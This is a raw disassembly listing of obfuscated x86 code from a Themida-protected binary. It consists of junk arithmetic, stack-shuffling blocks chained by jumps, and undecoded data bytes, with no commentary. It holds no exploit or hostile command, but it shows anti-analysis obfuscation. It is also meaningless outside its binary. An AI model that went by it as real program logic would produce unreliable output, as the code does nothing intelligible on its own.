loc_562023:				; CODE XREF: Themida_:0056463Ej
		pop	ecx
		xor	ecx, 2B7E6720h
		pop	eax
		mov	edx, ecx
		pop	ecx
		jmp	loc_55B883
; ---------------------------------------------------------------------------

loc_562033:				; CODE XREF: Themida_:0055FA03j
		push	bx
		mov	bh, 18h
		sub	al, bh
		jmp	loc_5636C0
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 81240C8Bh, 4C4h, 24048700h, 6624248Bh, 2404A30Fh, 428DE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56205A:				; CODE XREF: Themida_:00564961j
		sub	ecx, 1B2641AEh
		jnp	loc_559B2C
		jmp	loc_562DAC
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0AF67FFEh
; ---------------------------------------------------------------------------

loc_562070:				; CODE XREF: Themida_:00562B3Dj
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		push	small 4CF1h
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_55DF2F
; ---------------------------------------------------------------------------
		dw 6857h
		dd 57D07C19h, 0FF9970E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562095:				; CODE XREF: Themida_:0055A521j
		push	dx
		mov	dl, 91h
		sub	ah, dl
		pop	dx
		xor	bh, ah
		mov	eax, [esp]
		add	esp, 4
		xor	bh, 85h
		sub	al, 0D2h
		jmp	loc_55CD2D
; ---------------------------------------------------------------------------

loc_5620B2:				; CODE XREF: Themida_:0056B5B8j
		shl	edx, 1
		push	eax
		push	ebx
		mov	ebx, 60162996h
		sub	ebx, 6E47696h
		add	ebx, 391734C2h
		neg	ebx
		jmp	loc_556CFF
; ---------------------------------------------------------------------------

loc_5620CE:				; CODE XREF: Themida_:00564DFFj
		and	ebp, 2F6A321Bh
		sub	ebp, 4A4E6FE7h
		add	ebx, ebp
		pop	ebp
		sub	edi, 0B292DE9h
		add	edi, 56951272h
		jmp	loc_55E27E
; ---------------------------------------------------------------------------

loc_5620EE:				; CODE XREF: Themida_:0056D2E7j
		push	19B7h
		mov	[esp], ebx
		push	1BE1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_5565A2
; ---------------------------------------------------------------------------

loc_56210B:				; CODE XREF: Themida_:0055AF2Ej
		push	ebp
		mov	ebp, ebx
		mov	esi, ebp
		jmp	loc_5612FE
; ---------------------------------------------------------------------------

loc_562115:				; CODE XREF: Themida_:00564AF5j
					; Themida_:0056C090j
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1EB42E78h
		push	esi
		jmp	loc_55F493
; ---------------------------------------------------------------------------

loc_56212E:				; CODE XREF: Themida_:loc_5655F9j
		sub	ebp, 529819EEh
		jnp	loc_55AF70
		not	ebp
		jmp	loc_56D1E2
; ---------------------------------------------------------------------------
		db 55h,	54h, 5Dh
		db 5Ch
; ---------------------------------------------------------------------------

loc_562145:				; CODE XREF: Themida_:0055994Cj
		mov	[esp], ebp
		push	0ADD3426h
		jmp	loc_56D24E
; ---------------------------------------------------------------------------

loc_562152:				; CODE XREF: Themida_:00559BD8j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_567827
; ---------------------------------------------------------------------------

loc_56215B:				; CODE XREF: Themida_:005573E0j
		add	eax, edx
		add	eax, 62533CE2h
		jmp	loc_559216
; ---------------------------------------------------------------------------

loc_562167:				; CODE XREF: Themida_:0056027Aj
		pop	ecx
		shr	ah, 4
		jmp	loc_567B58
; ---------------------------------------------------------------------------

loc_562170:				; CODE XREF: Themida_:00567A54j
		shl	eax, 4
		add	eax, 5D03105Ch
		jmp	loc_56C20F
; ---------------------------------------------------------------------------

loc_56217D:				; CODE XREF: Themida_:005585ABj
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	dx, [esp]
		push	edx
		jmp	loc_5640C4
; ---------------------------------------------------------------------------

loc_562194:				; CODE XREF: Themida_:00559264j
		push	eax
		jmp	loc_55B1D2
; ---------------------------------------------------------------------------
		dw 0FF68h
		dd 89000015h, 0E9502424h, 0FFFF5CA7h, 0EC81EFD1h, 4, 0BB241C89h
		dd 31CA49F3h, 0FFB315E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5621BD:				; CODE XREF: Themida_:0055D09Aj
		mov	ebx, 0AE7CAF94h
		sub	ebx, 6D7E2221h
		add	ebx, edi
		add	ebx, 6D7E2221h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_56D5D1
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 3Bh
		dd 811DCD36h, 0B543BBE9h, 0AB62E90Ch, 2489FFFFh, 24048124h
		dd 4, 8324048Fh, 8B042404h, 89532414h, 4C381E3h, 83000000h
		dd 1C8704EBh, 2C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		jmp	loc_56B080
; ---------------------------------------------------------------------------

loc_56223D:				; CODE XREF: Themida_:0055EB85j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	737Ch
		jmp	loc_56A53C
; ---------------------------------------------------------------------------

loc_56224E:				; CODE XREF: Themida_:0055C7EAj
		mov	ebx, 3CA02D70h
		push	eax
		push	ebp
		jmp	loc_5596A1
; ---------------------------------------------------------------------------
word_56225A	dw 8B66h		; DATA XREF: Themida_:005560B8o
		dd 0C768240Ch, 8900005Fh, 0EC81242Ch, 4, 81242489h, 42404h
		dd 34FF0000h, 0F7CEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56227E:				; CODE XREF: Themida_:0055A2A4j
		add	esp, 4
		push	ecx
		jmp	loc_56738A
; ---------------------------------------------------------------------------

loc_562287:				; CODE XREF: Themida_:00564CCEj
		xor	edi, [esp]
		jmp	loc_5564A6
; ---------------------------------------------------------------------------

loc_56228F:				; CODE XREF: Themida_:00566DDAj
		push	eax
		mov	eax, 28DB47FCh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56870C
; ---------------------------------------------------------------------------

loc_5622AA:				; CODE XREF: Themida_:0055D6C4j
		sub	ebx, esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 48BC76AEh
		shl	ebp, 2
		sub	ebp, 0C1A16C88h
		jmp	loc_55F141
; ---------------------------------------------------------------------------

loc_5622C8:				; CODE XREF: Themida_:00566680j
		jz	loc_55962A
		push	dword ptr [edi+1Ch]
		push	esi
		sub	esp, 4
		jmp	loc_567B95
; ---------------------------------------------------------------------------

loc_5622DD:				; CODE XREF: Themida_:00568FB3j
		and	esi, 2E695E0Ch
		jmp	loc_564F55
; ---------------------------------------------------------------------------

loc_5622E8:				; CODE XREF: Themida_:00569D97j
		xor	edi, ebp
		pop	ebp
		jmp	loc_55E644
; ---------------------------------------------------------------------------
		dd 241C895Ch, 468h, 0C7815B00h,	6B665FFDh, 1F9CE953h, 0F6E90000h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56230B:				; CODE XREF: Themida_:0055A43Fj
		xor	al, dl
		pop	edx
		xor	dl, al
		mov	eax, [esp]
		push	ebp
		jmp	loc_5637F9
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 429665Ch, 0C0E99C24h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562327:				; CODE XREF: Themida_:0056D65Dj
		add	esp, 4
		mov	ax, [esp]
		jmp	loc_56C77E
; ---------------------------------------------------------------------------
		db 56h
		dd 0FFEBCFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562339:				; CODE XREF: Themida_:0055CE3Ej
		push	eax
		mov	eax, esp
		jmp	loc_562D5F
; ---------------------------------------------------------------------------

loc_562341:				; CODE XREF: Themida_:0055EFFFj
					; Themida_:loc_563248j
		pop	dword ptr [esp]
		pop	esp
		sub	ebx, 3B1D6CE2h
		jmp	loc_561B7C
; ---------------------------------------------------------------------------

loc_562350:				; CODE XREF: Themida_:00562ADBj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_562632
; ---------------------------------------------------------------------------
		db 1
aSI		db 'ьИ-╘',0
		align 2

loc_562372:				; CODE XREF: Themida_:005697E8j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	3025h
		mov	[esp], ecx
		mov	ecx, 400h
		push	ecx
		sub	dword ptr [esp], 4ED22EF8h
		pop	ebx
		add	ebx, 4ED22EF8h
		pop	ecx
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	77ADh
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55A567
; ---------------------------------------------------------------------------

loc_5623AD:				; CODE XREF: Themida_:0055B1E7j
		push	esi
		mov	esi, 3F804963h
		add	ecx, esi
		jmp	loc_55A346
; ---------------------------------------------------------------------------

loc_5623BA:				; CODE XREF: Themida_:00566C40j
		pop	ebx
		xor	cl, 99h
		add	cl, 0Eh
		add	cl, 0F0h
		shl	cl, 7
		push	bx
		mov	bl, 75h
		xor	bl, 17h
		sub	cl, 0D2h
		jmp	loc_56D6C0
; ---------------------------------------------------------------------------

loc_5623D6:				; CODE XREF: Themida_:0055AE0Fj
		mov	eax, 199E2320h
		xor	eax, 4886041Ch
		sub	ebx, eax
		pop	eax
		xor	ebx, 0AEF91DDAh
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	613Bh
		mov	[esp], ecx
		jmp	loc_563344
; ---------------------------------------------------------------------------

loc_562405:				; CODE XREF: Themida_:0056AE11j
		sub	ecx, 6FFB5240h
		add	ecx, esi
		jmp	loc_55DE48
; ---------------------------------------------------------------------------

loc_562412:				; CODE XREF: Themida_:0055B1B8j
		add	esp, 4
		push	ebp
		mov	ebp, 45FE66FAh
		neg	ebp
		jmp	loc_562DC1
; ---------------------------------------------------------------------------

loc_562425:				; CODE XREF: Themida_:005575A8j
		push	3EC0h
		mov	[esp], edi
		mov	edi, 4
		add	dword ptr [esp+4], 0BE11F2h
		add	[esp+4], edi
		jmp	loc_562CC8
; ---------------------------------------------------------------------------
		db 5Eh
		dd 2474FF50h, 5FC0E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56244E:				; CODE XREF: Themida_:0056B76Fj
		ja	loc_55860E
		sub	edx, 5A6D96C0h
		mov	eax, edx
		pop	edx
		inc	eax
		mov	eax, edx
		or	al, 9

loc_562462:				; CODE XREF: Themida_:005670A0j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5689EC
; ---------------------------------------------------------------------------

loc_56246D:				; CODE XREF: Themida_:005653B1j
		sub	ebp, 2D8A6AB1h
		jno	loc_55FFB0
		xor	ebp, 0BDD60EFFh
		push	44F4h
		mov	esi, edi

loc_562486:				; CODE XREF: Themida_:00567BA0j
		add	esp, 4
		add	esi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_56484D
; ---------------------------------------------------------------------------

loc_56249A:				; CODE XREF: Themida_:00569412j
		xor	esi, [esp]
		mov	esp, [esp]
		shr	eax, 12h
		xor	eax, ecx
		xchg	eax, ecx
		push	5336h
		mov	[esp], ecx
		not	dword ptr [esp]
		jmp	loc_56A80A
; ---------------------------------------------------------------------------

loc_5624B6:				; CODE XREF: Themida_:0056C2C9j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_5624BB:				; CODE XREF: Themida_:00559D8Dj
		add	[esp+4], edi
		push	esi
		mov	esi, 68B4087h
		add	[esp+8], esi
		pop	esi
		pop	edi
		pop	ebx
		add	ebx, 4
		push	288Bh
		jmp	loc_562869
; ---------------------------------------------------------------------------

loc_5624DC:				; CODE XREF: Themida_:00558110j
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_566F05
; ---------------------------------------------------------------------------

loc_5624E8:				; CODE XREF: Themida_:00560B77j
		xchg	esi, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_564BB5
		push	esi
		push	edx
		jmp	loc_558C6E
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 61F9E9h
		db 0
; ---------------------------------------------------------------------------

loc_562505:				; CODE XREF: Themida_:0055D2D2j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_562712
; ---------------------------------------------------------------------------

loc_562516:				; CODE XREF: Themida_:0056BAFCj
		mov	esi, 7F940BD4h
		mov	ebx, esi
		jmp	loc_5644EF
; ---------------------------------------------------------------------------

loc_562522:				; CODE XREF: Themida_:00556996j
		xor	dl, 21h
		sub	al, 2Dh
		sub	al, dl
		jmp	loc_55E06E
; ---------------------------------------------------------------------------
		dw 870Fh
		dd 0FFFF6384h, 8784E9h,	11C28100h
		db 3Bh,	8Bh, 0Ch
; ---------------------------------------------------------------------------

loc_56253F:				; CODE XREF: Themida_:0055FAC8j
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55AFE8
; ---------------------------------------------------------------------------

loc_56254E:				; CODE XREF: Themida_:00558318j
		mov	edx, 43932EEFh
		xor	esi, edx
		pop	edx
		neg	esi
		jmp	loc_568773
; ---------------------------------------------------------------------------

loc_56255D:				; CODE XREF: Themida_:00557E59j
		dec	edx
		add	edx, 0FF3B07EFh
		push	ebp
		mov	ebp, edx
		mov	eax, ebp
		pop	ebp
		pop	edx
		push	ebx
		mov	ebx, 15E876FFh
		jmp	loc_55ACEC
; ---------------------------------------------------------------------------

loc_562576:				; CODE XREF: Themida_:00562F0Aj
		push	1560h
		jmp	loc_5591D1
; ---------------------------------------------------------------------------

loc_562580:				; CODE XREF: Themida_:0056AD90j
		shl	ebp, 2
		jz	loc_566746
		xor	ebp, 2FBEFDBCh
		and	eax, ebp
		jmp	loc_56C6A4
; ---------------------------------------------------------------------------

loc_562596:				; CODE XREF: Themida_:0056D10Fj
		add	eax, ebx
		pop	ebx
		jmp	loc_567CC7
; ---------------------------------------------------------------------------

loc_56259E:				; CODE XREF: Themida_:00557D15j
		add	eax, ebp
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	eax
		jmp	loc_55BDFA
; ---------------------------------------------------------------------------

loc_5625AF:				; CODE XREF: Themida_:0056AD54j
		js	loc_56490B
		add	edx, 4EA8CE01h
		jmp	loc_5643C0
; ---------------------------------------------------------------------------
aXq313LHpi	db 'XQ3,$1,$3,$▀$$hPi',0
		dw 8900h
		dd 92682414h, 8900000Eh, 34FF2404h, 24148B24h, 4C481h
		dd 72680000h, 89000062h, 5F54243Ch, 357BB951h, 0E1D16435h
		dd 0A7685750h, 0E913191Eh, 7074h
; ---------------------------------------------------------------------------

loc_562608:				; CODE XREF: Themida_:00564E55j
		push	14D3h
		mov	[esp], edx
		jmp	loc_55A89F
; ---------------------------------------------------------------------------
		db 55h,	0FFh, 74h
		dd 8F5D0424h, 0E95C2404h, 9DD8h
; ---------------------------------------------------------------------------

loc_562624:				; CODE XREF: Themida_:0056CAC4j
		shr	ecx, 5
		add	ecx, 78694D7Ch
		jmp	loc_55AAFB
; ---------------------------------------------------------------------------

loc_562632:				; CODE XREF: Themida_:00562366j
		shr	ebx, 8
		sub	ebx, 0FFFFFFFFh
		push	esi
		mov	esi, 3C97F3Dh
		dec	esi
		not	esi
		sub	esi, 341F736Ah
		inc	esi
		jg	loc_55EA66
		xor	esi, 8C724863h
		xor	esi, 15A42F7Eh
		add	esi, 33BA1A95h
		shl	esi, 5
		xor	esi, 0B2A26F2Dh
		add	ebx, esi
		jmp	loc_560400
; ---------------------------------------------------------------------------

loc_562673:				; CODE XREF: Themida_:005643BBj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_55B4B9
; ---------------------------------------------------------------------------

loc_562682:				; CODE XREF: Themida_:00560E67j
		add	esp, 4
		sub	edx, ecx
		pop	ecx
		jmp	loc_568EC8
; ---------------------------------------------------------------------------

loc_56268D:				; CODE XREF: Themida_:loc_559173j
		jmp	loc_55A55E
; ---------------------------------------------------------------------------

loc_562692:				; CODE XREF: Themida_:0055E893j
		add	edx, 4
		sub	edx, 4
		jmp	loc_55EB90
; ---------------------------------------------------------------------------

loc_5626A0:				; CODE XREF: Themida_:00563084j
					; Themida_:00565E95j
		mov	ebp, 417A6905h
		jmp	loc_567A9A
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 0E9000000h, 0FFFF4459h
; ---------------------------------------------------------------------------

loc_5626B8:				; CODE XREF: Themida_:0056D1B9j
		not	eax
		not	eax
		sub	eax, 43287ECBh
		sub	eax, 712613F1h
		jmp	loc_55B197
; ---------------------------------------------------------------------------

loc_5626CB:				; CODE XREF: Themida_:0056837Ej
		add	ebx, edi
		pop	edi
		push	edi
		mov	edi, 4
		jmp	loc_5635CF
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 14h
		dd 0E4B55124h, 8066F580h, 21E943E5h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------

loc_5626EB:				; CODE XREF: Themida_:00559181j
		pop	ebp
		push	eax
		jmp	loc_563079
; ---------------------------------------------------------------------------

loc_5626F2:				; CODE XREF: Themida_:0055CAE2j
		shr	eax, 6
		jmp	loc_561BE7
; ---------------------------------------------------------------------------

loc_5626FA:				; CODE XREF: Themida_:005593BAj
		or	eax, 70F652EAh
		ja	loc_559968
		xor	eax, 20300C1Bh
		jmp	loc_569F1C
; ---------------------------------------------------------------------------
		db 1
		db 0FBh, 5Fh
; ---------------------------------------------------------------------------

loc_562712:				; CODE XREF: Themida_:00562511j
		add	esp, 4
		push	4936h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5578D1
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 6F3DE924h
		db 2 dup(0FFh)
word_562736	dw 32FFh		; DATA XREF: Themida_:00556268o
		dd 0FF3BAAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56273D:				; CODE XREF: Themida_:0055A1BEj
		add	esi, 4
		jmp	loc_55E2A8
; ---------------------------------------------------------------------------

loc_562748:				; CODE XREF: Themida_:00556930j
		mov	[esp], esi
		mov	esi, 6EA03CF5h
		xor	esi, 13D658ECh
		jmp	loc_56C902
; ---------------------------------------------------------------------------
		db 0BBh
		dd 73C952E8h, 874BD3F7h, 87D6F7F3h, 3EBC1F3h, 0B951D3F7h
		dd 3A0701FBh, 2414F751h, 0A4E0E959h, 2C890000h,	0D5B85024h
		dd 0BD601121h, 47233F56h, 34FFC531h, 8CA3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562796:				; CODE XREF: Themida_:0056AAA2j
		pop	ebx
		xor	al, ch
		mov	ecx, [esp]
		jmp	loc_55B00D
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 2424895Ch, 4240483h,	14C86859h, 4FE90000h, 8100007Ch
		dd 2E22F1CFh, 8FF7815Eh, 0E9073773h, 0FFFFAFDBh
; ---------------------------------------------------------------------------

loc_5627C8:				; CODE XREF: Themida_:00559168j
					; Themida_:0055A013j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		db 55h,	53h, 0BBh
		dd 5AB926CCh, 5AEB8143h, 89855E4Dh, 241C8BDDh, 104C483h
		dd 0F7895DEEh, 7386E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5627EE:				; CODE XREF: Themida_:00562B69j
		push	ebx
		push	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	eax
		not	eax
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		sub	esp, 4
		mov	[esp], esi
		push	23A4h
		mov	[esp], ebx
		push	edx
		jmp	loc_565B45
; ---------------------------------------------------------------------------

loc_562814:				; CODE XREF: Themida_:00563A49j
		push	0C8Ah
		push	esp
		pop	dword ptr [esp]
		push	ebp
		push	ecx
		mov	ecx, 58131D2Fh
		mov	ebp, 58131D2Bh
		xor	ebp, ecx
		pop	ecx
		jmp	loc_55FACD
; ---------------------------------------------------------------------------

loc_562831:				; CODE XREF: Themida_:00564E80j
		mov	ebx, esp
		jmp	loc_561DD7
; ---------------------------------------------------------------------------
		dd 0C681CE01h, 41F22CEh, 237DBD55h, 0EE29713Fh,	240C8B5Dh
		dd 6804C483h, 21E8h, 0BD242C89h, 4BF05E50h, 2EBEE81h, 0EE29124Dh
		dd 0AAD6E9h
		db 0
; ---------------------------------------------------------------------------

loc_562869:				; CODE XREF: Themida_:005624D7j
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_56C1A3
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4ECh, 24348900h, 0ACE9E689h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562887:				; CODE XREF: Themida_:0055C20Cj
		or	ecx, 161B0B14h
		sub	ecx, 3FDB5B73h
		mov	esi, ecx
		pop	ecx
		jmp	loc_5610C2
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FFB6A48Fh, 51EB81FFh, 0F38D459h, 0FF61C786h
		db 0FFh, 0B1h, 0Ah
; ---------------------------------------------------------------------------

loc_5628AF:				; CODE XREF: Themida_:005610E6j
		mov	edi, 35B96054h
		push	eax
		mov	eax, 9E62564h
		jmp	loc_55B45F
; ---------------------------------------------------------------------------

loc_5628BF:				; CODE XREF: Themida_:0055E9F0j
		sub	ebx, 5970B7D0h
		add	ebp, 782A65C2h
		add	ebp, ebx
		sub	ebp, 782A65C2h
		pop	ebx
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56894C
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FFDC3A81h, 0EEC381FFh, 0E9595138h, 1E17h, 57C18958h
; ---------------------------------------------------------------------------

loc_5628F4:				; CODE XREF: Themida_:0055CB5Fj
		mov	ebp, 1EFE1A66h
		jmp	loc_567EA9
; ---------------------------------------------------------------------------
		dw 0C30Dh
		dd 0F6E657Ch, 3E5689h, 469F2500h, 922D3C2Ah, 8072AD4Eh
		dd 0D2F642CAh, 0FF75E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56291D:				; CODE XREF: Themida_:00561650j
		add	esp, 4
		pop	edx
		xor	ebx, eax
		push	edi
		mov	edi, 1A126FB4h
		jmp	loc_55F119
; ---------------------------------------------------------------------------
		db 5Ch,	0FFh, 0Ch
aS_o		db '$°И_▌',0
		db 0
; ---------------------------------------------------------------------------

loc_56293B:				; CODE XREF: Themida_:0055EF54j
		pop	esi
		xor	edx, 0F62191Bh
		add	[esp+4], edx
		jmp	loc_559178
; ---------------------------------------------------------------------------

loc_56294B:				; CODE XREF: Themida_:0056A694j
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		jmp	loc_55B40F
; ---------------------------------------------------------------------------

loc_56295A:				; CODE XREF: Themida_:0055F130j
		push	ecx
		mov	ecx, 4CAE4EB7h
		jmp	loc_558B86
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 8904EC83h, 0E9502434h, 6887h, 0BA241489h, 4,	0FF58C5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562981:				; CODE XREF: Themida_:00568B2Bj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		or	esi, 0A621D29h
		jg	loc_5614EB
		sub	esi, 7FF23F25h
		and	ecx, esi
		mov	esi, [esp]
		push	esi
		mov	ecx, esp
		add	ecx, 4
		push	556h
		mov	[esp], edi
		jmp	loc_5567BE
; ---------------------------------------------------------------------------

loc_5629B7:				; CODE XREF: Themida_:loc_564F55j
		jmp	loc_56953B
; ---------------------------------------------------------------------------

loc_5629BC:				; CODE XREF: Themida_:00559DAEj
					; Themida_:0056A5CCj
		sub	ebx, 0BD619C7Ah
		mov	edi, ebx
		pop	ebx
		dec	edi
		jnz	loc_563C0A
		add	edi, 49C004F0h
		jz	loc_559D9D
		xor	al, 0BAh

loc_5629DA:				; CODE XREF: Themida_:005596B8j
		pop	edx
		push	eax
		mov	eax, 60B53C68h
		sub	ebx, eax
		jmp	loc_5689BE
; ---------------------------------------------------------------------------

loc_5629E8:				; CODE XREF: Themida_:0055E323j
		mov	ecx, 3D6A79C0h
		sub	ecx, edx
		pop	edx
		jmp	loc_566AAC
; ---------------------------------------------------------------------------

loc_5629F5:				; CODE XREF: Themida_:00561A2Aj
		sub	dword ptr [esp+8], 34D450B1h
		pop	ecx
		jmp	loc_55BC12
; ---------------------------------------------------------------------------

loc_562A03:				; CODE XREF: Themida_:0056BC9Bj
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_569E98
; ---------------------------------------------------------------------------

loc_562A0D:				; CODE XREF: Themida_:005579F0j
		push	ebx
		not	byte ptr [esp+1]
		pop	ebx
		push	edx
		mov	dh, 79h
		push	edx
		mov	dh, 0Eh
		jmp	loc_5699D7
; ---------------------------------------------------------------------------
		dw 3489h
		dd 6BB4BE24h, 0D6F778A7h, 337F681h, 0DEF7033Ah,	0FF395CE9h
		dd 240C8BFFh, 2D04C483h, 15114BE0h, 676BE9h
		db 0
; ---------------------------------------------------------------------------

loc_562A45:				; CODE XREF: Themida_:0056A385j
		mov	eax, esp
		add	eax, 4
		jmp	loc_562F1A
; ---------------------------------------------------------------------------

loc_562A51:				; CODE XREF: Themida_:0055B694j
		sub	eax, ebp
		add	eax, 563A0ED6h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 61442E67h
		and	edi, 58B36F75h
		sub	edi, 78863391h
		sub	edi, 398F1CDEh
		shr	edi, 3
		jmp	loc_565DD2
; ---------------------------------------------------------------------------

loc_562A80:				; CODE XREF: Themida_:0056089Bj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edx, 1D253493h
		add	edx, 10E01F37h
		sub	edx, ecx
		sub	edx, 10E01F37h
		add	edx, 1D253493h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56B266
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FEE4E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562ABE:				; CODE XREF: Themida_:0055F495j
		mov	ecx, 1CAA48C5h
		add	ecx, 10047EC8h
		sub	ecx, 0D689190h
		mov	ebx, ecx
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_562350
; ---------------------------------------------------------------------------

loc_562AE0:				; CODE XREF: Themida_:0055B931j
		jb	loc_5666B7
		inc	ebp
		jo	loc_55F6FC
		push	ebx
		push	esi
		add	bl, 0CAh
		push	eax
		mov	ecx, 73A7093h
		shl	ecx, 7
		sub	esp, 4
		jmp	loc_56CDEE
; ---------------------------------------------------------------------------

loc_562B06:				; CODE XREF: Themida_:00565AA0j
		pop	ebp
		jmp	loc_568F5B
; ---------------------------------------------------------------------------
		dd 8D0FC5FEh, 4C0Dh, 5DE95066h,	890000A8h
		db 0FAh, 5Fh
; ---------------------------------------------------------------------------

loc_562B1E:				; CODE XREF: Themida_:00568EA7j
		inc	ebp
		shl	ebp, 3
		xor	ebp, 0F94565EFh
		add	eax, ebp
		pop	ebp
		add	eax, 390F6D75h
		jmp	loc_567A7A
; ---------------------------------------------------------------------------

loc_562B35:				; CODE XREF: Themida_:005615F4j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_562B3A:				; CODE XREF: Themida_:0055BD3Bj
		xor	ebp, [esp]
		jmp	loc_562070
; ---------------------------------------------------------------------------
		dw 2489h
		dd 0BEC9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562B4A:				; CODE XREF: Themida_:0055C39Cj
		add	esp, 4
		add	eax, 4
		add	eax, 4
		jmp	loc_55B43D
; ---------------------------------------------------------------------------

loc_562B5A:				; CODE XREF: Themida_:0055BE01j
		add	eax, 4
		jmp	loc_55AC2E
; ---------------------------------------------------------------------------

loc_562B64:				; CODE XREF: Themida_:00561EDDj
		mov	ebx, 5F4D7A27h
		jmp	loc_5627EE
; ---------------------------------------------------------------------------
aZ4H0		db '┤4$\hй0',0
		dw 8900h
		dd 0E0892404h, 405h, 4EC8300h, 0FFC275E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562B89:				; CODE XREF: Themida_:00569E30j
		push	esi
		mov	esi, 1A4C7C88h
		xor	esi, 628142Ch
		sub	edx, esi
		jmp	loc_557B27
; ---------------------------------------------------------------------------
		dd 354F68h, 241C8900h, 367091BBh, 0DEF0B905h, 96E91FCFh
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562BB3:				; CODE XREF: Themida_:0056A57Aj
		push	eax
		push	126h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_55A372
; ---------------------------------------------------------------------------

loc_562BC9:				; CODE XREF: Themida_:0055B999j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 15AE5EA7h
		dec	edx
		inc	edx
		push	ecx
		push	eax
		mov	eax, 15AE5EA3h
		mov	ecx, eax
		pop	eax
		xor	edx, ecx
		pop	ecx
		add	edi, edx
		jmp	loc_5631C9
; ---------------------------------------------------------------------------

loc_562BF4:				; CODE XREF: Themida_:loc_56B3D8j
		inc	edi
		jle	loc_566962
		add	edi, 0F3B79C83h
		mov	esi, edi
		pop	edi
		jmp	loc_56126A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
